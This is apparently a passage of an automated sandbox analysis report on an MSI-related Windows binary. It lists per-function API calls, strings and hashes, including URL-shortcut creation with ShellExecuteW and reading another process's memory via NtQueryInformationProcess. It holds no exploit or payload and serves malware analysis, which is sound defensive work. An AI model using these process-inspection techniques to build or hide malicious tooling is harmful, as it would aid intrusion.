WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0080888B
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 0080896B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 00808977
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 008089B3
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 008089D2
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 008089EF
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 00808A83
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 00808ACE
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 00808B1C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,0084A285,000000FF), ref: 00808B4B

Strings

[InternetShortcut]URL=, xrefs: 0080889F
open, xrefs: 00808AC7, 00808AE3
URL Shortcut content:, xrefs: 00808A09
-_.~!*'();:@&=+$,/?#[], xrefs: 008088E7, 008088FE

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: c99eeff1c7215bb3179d2e9dd1b981959ef0ebef0f3559eb853111262105fc4c
Instruction ID: 28d79f2b451b68e5bc9b2fcd65b21afe00f6dc1486c9cada7af8b3be1e2c85b0
Opcode Fuzzy Hash: c99eeff1c7215bb3179d2e9dd1b981959ef0ebef0f3559eb853111262105fc4c
Instruction Fuzzy Hash: 8DC11571A00249DFEB609F68CC45BBBBBB5FF55700F144129E984E72C2EB748989C792

Function 00827769 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00864AF8,00000FA0,?,?,00827747), ref: 00827775
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00827747), ref: 00827780
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00827747), ref: 00827791
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 008277A3
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 008277B1
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00827747), ref: 008277D4
DeleteCriticalSection.KERNEL32(00864AF8,00000007,?,?,00827747), ref: 008277F0
CloseHandle.KERNEL32(00000000,?,?,00827747), ref: 00827800

Strings

SleepConditionVariableCS, xrefs: 0082779D
WakeAllConditionVariable, xrefs: 008277A9
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0082777B
kernel32.dll, xrefs: 0082778C

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 7ea614944fada29176423c992ff274cb06730aa203fa0a3eabc8aee2a31c7e90
Instruction ID: cf8ab35fb72e78b8709bd79f2bc3a39294318db81c71496519ec5e27d809df0f
Opcode Fuzzy Hash: 7ea614944fada29176423c992ff274cb06730aa203fa0a3eabc8aee2a31c7e90
Instruction Fuzzy Hash: 8701F239B81731AFE7201FB6BC0CE1A7AA8FB46B42B060025FC11D3390DBB4C840C665

Function 0080F010 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 254memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,58A46C4B,?,00000000), ref: 0080F076
std::_Lockit::_Lockit.LIBCPMT ref: 0080F0B3
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0080F11D
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0080F2B9
std::_Lockit::~_Lockit.LIBCPMT ref: 0080F376
Concurrency::cancel_current_task.LIBCPMT ref: 0080F39E

Strings

true, xrefs: 0080F1EC
bad locale name, xrefs: 0080F3A3
false, xrefs: 0080F1D6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocConcurrency::cancel_current_taskLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name$false$true
API String ID: 975656625-1062449267
Opcode ID: 35aacf99e0c4aeaaf81d689ad205dd70e5308147ba4851ae05b9897e0ac7d15b
Instruction ID: 6c1afd3f832069b4664a53e83386b10dad2d7c65754ac30cf83cb89f39113a3e
Opcode Fuzzy Hash: 35aacf99e0c4aeaaf81d689ad205dd70e5308147ba4851ae05b9897e0ac7d15b
Instruction Fuzzy Hash: 9DB173B1D00348DEEB20DFA8C9057DEBBB4FF15304F1481A9E554EB282E7B59A48CB52

Function 00806A60 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,58A46C4B,?,00000000), ref: 00806AC2
OpenProcess.KERNEL32(00000400,00000000,00000000,?,58A46C4B,?,00000000), ref: 00806AE3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,58A46C4B,?,00000000), ref: 00806B16
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,58A46C4B,?,00000000), ref: 00806B27
CloseHandle.KERNEL32(00000000,?,58A46C4B,?,00000000), ref: 00806B45
CloseHandle.KERNEL32(00000000,?,58A46C4B,?,00000000), ref: 00806B61
CloseHandle.KERNEL32(00000000,?,58A46C4B,?,00000000), ref: 00806B89
CloseHandle.KERNEL32(00000000,?,58A46C4B,?,00000000), ref: 00806BA5
CloseHandle.KERNEL32(00000000,?,58A46C4B,?,00000000), ref: 00806BC3
CloseHandle.KERNEL32(00000000,?,58A46C4B,?,00000000), ref: 00806BDF

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: fcb8c76da0fea0fef62f6485504b1f0ba7d54d7255a57580ffa9534d72ebbe3a
Instruction ID: 77258d3f9b2e4e7c259509d9ace0ecef865069d21341b9a7e7233eb1e6ffcb7b
Opcode Fuzzy Hash: fcb8c76da0fea0fef62f6485504b1f0ba7d54d7255a57580ffa9534d72ebbe3a
Instruction Fuzzy Hash: 925147B0D01618EBDB10CF98CD84BAEBBB4FB49724F244259E914F72C0E7745915CBA8

Function 00820834 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0082083B

Part of subcall function 0081780A: __EH_prolog3.LIBCMT ref: 00817811
Part of subcall function 0081780A: std::_Lockit::_Lockit.LIBCPMT ref: 0081781B
Part of subcall function 0081780A: std::_Lockit::~_Lockit.LIBCPMT ref: 0081788C

Strings

%I : %M : %S %p, xrefs: 00820BC5
%m / %d / %y, xrefs: 00820937
:AM:am:PM:pm, xrefs: 00820BD0
%b %d %H : %M : %S %Y, xrefs: 00820AF3
%d / %m / %y, xrefs: 00820B9E
%H : %M, xrefs: 00820980
%H : %M : %S, xrefs: 008209F7

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: 64e74ac36d3d3cf1ead03d7f9faee9e5cb426a307518d3c8e214d4e0fb2d6826
Instruction ID: 8bae49e0ba3de88031058d866e688a0ad53dd6d60f3d702999c1527ff36d8790
Opcode Fuzzy Hash: 64e74ac36d3d3cf1ead03d7f9faee9e5cb426a307518d3c8e214d4e0fb2d6826
Instruction Fuzzy Hash: 0BC1917254012EAFDB28DF68D999DFA7BB8FB05314F140519FA43E2292D6309A90CF61

Function 008259E2 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008259E9

Part of subcall function 0080C590: std::_Lockit::_Lockit.LIBCPMT ref: 0080C5BD
Part of subcall function 0080C590: std::_Lockit::_Lockit.LIBCPMT ref: 0080C5E0
Part of subcall function 0080C590: std::_Lockit::~_Lockit.LIBCPMT ref: 0080C608
Part of subcall function 0080C590: std::_Lockit::~_Lockit.LIBCPMT ref: 0080C6A7

Strings

%I : %M : %S %p, xrefs: 00825D73
%m / %d / %y, xrefs: 00825AE5
:AM:am:PM:pm, xrefs: 00825D7E
%b %d %H : %M : %S %Y, xrefs: 00825CA1
%d / %m / %y, xrefs: 00825D4C
%H : %M, xrefs: 00825B2E
%H : %M : %S, xrefs: 00825BA5

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 482d2fd3ece09990330c2f44f366c55002e99c0c8e17b5e95b5f7bdb8ab6ac55
Instruction ID: eb0029829866174c4a66af9abf853ea95849d85bdb4054a29f70de6f9d41018b
Opcode Fuzzy Hash: 482d2fd3ece09990330c2f44f366c55002e99c0c8e17b5e95b5f7bdb8ab6ac55
Instruction Fuzzy Hash: 8BC1A27654052DAFDB18DF98ED99DFB3BB8FB04314F144529FA06E2291D630DA80CB61

Function 00820C24 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 351COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00820C2B

Part of subcall function 0080B500: std::_Lockit::_Lockit.LIBCPMT ref: 0080B52D
Part of subcall function 0080B500: std::_Lockit::_Lockit.LIBCPMT ref: 0080B550
Part of subcall function 0080B500: std::_Lockit::~_Lockit.LIBCPMT ref: 0080B578
Part of subcall function 0080B500: std::_Lockit::~_Lockit.LIBCPMT ref: 0080B617

Strings

%I : %M : %S %p, xrefs: 00820FB5
%m / %d / %y, xrefs: 00820D27
:AM:am:PM:pm, xrefs: 00820FC0
%b %d %H : %M : %S %Y, xrefs: 00820EE3
%d / %m / %y, xrefs: 00820F8E
%H : %M, xrefs: 00820D70
%H : %M : %S, xrefs: 00820DE7

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 6529be14bc1cb6b47d0d559cb90185118d666f8bf24403da15afe515e67a3fdf
Instruction ID: 3badeb041b8c742172ff0259a9fadec13805326e61cb9a24a2891e3e310eb998
Opcode Fuzzy Hash: 6529be14bc1cb6b47d0d559cb90185118d666f8bf24403da15afe515e67a3fdf
Instruction Fuzzy Hash: 37C17E7654011DAFCB28DE98D995DFF3BF8FB05304F15461AFA06E2292D6309A90CF61

Function 008065B0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 258libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00806090: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 008060F4
Part of subcall function 00806090: GetLastError.KERNEL32 ref: 00806190

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 00806632
ReadProcessMemory.KERNEL32(00000000,?,?,000001D8,00000000,?,?,?,?,00000000), ref: 0080668B
ReadProcessMemory.KERNEL32(00000000,?,?,00000048,00000000,?,?,?,?,?,?,?,00000000), ref: 00806712
ReadProcessMemory.KERNEL32(00000000,?,?,?,00000000,?,00000000,?,?,?,?,?,?,?,00000000), ref: 008067F6
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 0080686E
GetLastError.KERNEL32(?,00000000), ref: 008068C9
FreeLibrary.KERNEL32(?,?,00000000), ref: 0080691E

Strings

NtQueryInformationProcess, xrefs: 0080662C

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: MemoryProcessRead$ErrorFreeLast$AddressDirectoryLibraryLocalProcSystem
String ID: NtQueryInformationProcess
API String ID: 253270903-2781105232
Opcode ID: 32b4f701d3856da9597e1bd5df10c8b2a6409ca0a9b659827804b5a761b81226
Instruction ID: 59746d57819c22527a78fc91092825e9e0aa553102cd02d09d2d08c6707c8a0a
Opcode Fuzzy Hash: 32b4f701d3856da9597e1bd5df10c8b2a6409ca0a9b659827804b5a761b81226
Instruction Fuzzy Hash: 09B17D70910749CADB60CF64CD487AEBBF0FF48308F20465DE449E6680E7B9A6D8CB91

Function 0081D491 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0081D498
_Maklocstr.LIBCPMT ref: 0081D501
_Maklocstr.LIBCPMT ref: 0081D513
_Maklocchr.LIBCPMT ref: 0081D52B
_Maklocchr.LIBCPMT ref: 0081D53B
_Getvals.LIBCPMT ref: 0081D55D

Part of subcall function 0081708B: _Maklocchr.LIBCPMT ref: 008170BA
Part of subcall function 0081708B: _Maklocchr.LIBCPMT ref: 008170D0

Strings

true, xrefs: 0081D50E
false, xrefs: 0081D4FC

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: f9bb4453ee4f6b6aa21ccfe5de452a7235bcfd96d2a8eba7971c57ec73295e44
Instruction ID: 6a5ca40a30cf92bd6a2cb089fe9b02c17670d7a31a08ad321ebc300cd50217c6
Opcode Fuzzy Hash: f9bb4453ee4f6b6aa21ccfe5de452a7235bcfd96d2a8eba7971c57ec73295e44
Instruction Fuzzy Hash: 69212171D04318AADF15AFA8D846ADE7BBCFF04710F00801AB915DF152EB749594CBA1

Function 0080C9C0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 00815C66: __EH_prolog3.LIBCMT ref: 00815C6D
Part of subcall function 00815C66: std::_Lockit::_Lockit.LIBCPMT ref: 00815C78
Part of subcall function 00815C66: std::locale::_Setgloballocale.LIBCPMT ref: 00815C93
Part of subcall function 00815C66: std::_Lockit::~_Lockit.LIBCPMT ref: 00815CE6

std::_Lockit::_Lockit.LIBCPMT ref: 0080CA1A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0080CA80
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0080CB4F

Part of subcall function 008145A7: __EH_prolog3.LIBCMT ref: 008145AE

std::_Lockit::~_Lockit.LIBCPMT ref: 0080CC00
LocalFree.KERNEL32(?,?,?,0085B6C9,00000000,0085B6C9), ref: 0080CD01
__cftoe.LIBCMT ref: 0080CE5E

Strings

bad locale name, xrefs: 0080CC41

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$H_prolog3Locinfo::_Lockit::_Lockit::~_$FreeLocalLocinfo_ctorLocinfo_dtorSetgloballocale__cftoestd::locale::_
String ID: bad locale name
API String ID: 2085124900-1405518554
Opcode ID: 68545b19e81f97f8d7ab74004846c4e430b98bac7b4f51afe300b50dc1b06486
Instruction ID: bccc33af2b6f0a4ef8216f81aa8254b1fa5da7b52612278ced65d56787df91d9
Opcode Fuzzy Hash: 68545b19e81f97f8d7ab74004846c4e430b98bac7b4f51afe300b50dc1b06486
Instruction Fuzzy Hash: 27127DB1E00249DFDB10CFA8D985BAEBBB5FF14304F144269E815EB381E775AA44CB91

Function 0082B22C Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0082B34B
___TypeMatch.LIBVCRUNTIME ref: 0082B459
_UnwindNestedFrames.LIBCMT ref: 0082B5AB
CallUnexpected.LIBVCRUNTIME ref: 0082B5C6

Strings

csm, xrefs: 0082B269
csm, xrefs: 0082B2D6
csm, xrefs: 0082B382

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: f0834a36fcf55667e3980acbf416c8a581c6f6ad9799f3f637ba38ebd730612e
Instruction ID: 5ae970d0c5baeb9dfe2a90eeabf1095f7e000b9f12b7071f8699d22dec0ecc44
Opcode Fuzzy Hash: f0834a36fcf55667e3980acbf416c8a581c6f6ad9799f3f637ba38ebd730612e
Instruction Fuzzy Hash: BCB18B71802229EFCF19DFA8E9819AEB7B5FF14310F14415AF815AB212C731DA91CB92

Function 00810260 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00810322
LocalAlloc.KERNEL32(00000040,?), ref: 00810367
___std_exception_copy.LIBVCRUNTIME ref: 008103DE
LocalFree.KERNEL32(?), ref: 0081041B
LocalFree.KERNEL32(?,?,?,?,?,58A46C4B,58A46C4B,?,?), ref: 00810546

Strings

ios_base::failbit set, xrefs: 008104B2
iostream, xrefs: 008105A0

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Local$AllocFree$___std_exception_copy
String ID: ios_base::failbit set$iostream
API String ID: 2276494016-302468714
Opcode ID: 5ec916df7ee28768b88ad7311e5fe0e40b458b7068cd8dc6e22c36005ee7d8a6
Instruction ID: 1396a8a59ce0f0b4398ef91f7b983bcfd3aa212fd4f45aa1112be8c0a6e8ed8a
Opcode Fuzzy Hash: 5ec916df7ee28768b88ad7311e5fe0e40b458b7068cd8dc6e22c36005ee7d8a6
Instruction Fuzzy Hash: 97A17271D012089FDB18DF98D985B9EBBB9FF49310F10825DE815EB391DBB09984CB91

Function 00802BD0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

#224.MSI(?,00000001,00000000,00000000,00000000), ref: 00802C43
LocalFree.KERNEL32(?), ref: 00802CA2
LocalFree.KERNEL32(?), ref: 00802D0C
CertFreeCertificateContext.CRYPT32(00000000), ref: 00802E94

Part of subcall function 00803D60: CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 00803DA3

LocalFree.KERNEL32(?), ref: 00802E13
LocalFree.KERNEL32(?), ref: 00802E6B

Strings

<k, xrefs: 00802C43

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Free$Local$Cert$#224CertificateContextNameString
String ID: <k
API String ID: 2665452496-3292231144
Opcode ID: c7375f339f1465e505f4ef5f8a7fb170dddc7579e370833d06326e59de6f2b46
Instruction ID: c5f02dcdce68c74f6e9240866217a6a45f383fbef1387b29a6fe60cdff67b0d1
Opcode Fuzzy Hash: c7375f339f1465e505f4ef5f8a7fb170dddc7579e370833d06326e59de6f2b46
Instruction Fuzzy Hash: 5E915B70A10249CFEB18CFA8C95879EBBB5FF44304F24461DD455EB292DBB5AA88CB50

Function 0080BA30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000044,58A46C4B,?,00000000), ref: 0080BA8B
std::_Lockit::_Lockit.LIBCPMT ref: 0080BAC8
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0080BB35
__Getctype.LIBCPMT ref: 0080BB7E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0080BBF2
std::_Lockit::~_Lockit.LIBCPMT ref: 0080BCAF

Strings

bad locale name, xrefs: 0080BCCD

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: acbfe9ec73daf8359f9389643e136fa0328e0e08d4f4bdedcfc7dbc692eab7f7
Instruction ID: bc2c52022e43af73a516e88317c818cf068c8a165b78bac545aa070fa14d2e16
Opcode Fuzzy Hash: acbfe9ec73daf8359f9389643e136fa0328e0e08d4f4bdedcfc7dbc692eab7f7
Instruction Fuzzy Hash: B88160B0D04348DEEB20CFA8C94579DBBF4FF14304F148199D448EB282EB759A88CB52

Function 0080C220 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,58A46C4B,?,00000000,?,?,?,?,?,?,?,00000000,0084ABC5,000000FF), ref: 0080C264
std::_Lockit::_Lockit.LIBCPMT ref: 0080C29E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0080C302
__Getctype.LIBCPMT ref: 0080C34B
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0080C391
std::_Lockit::~_Lockit.LIBCPMT ref: 0080C445

Strings

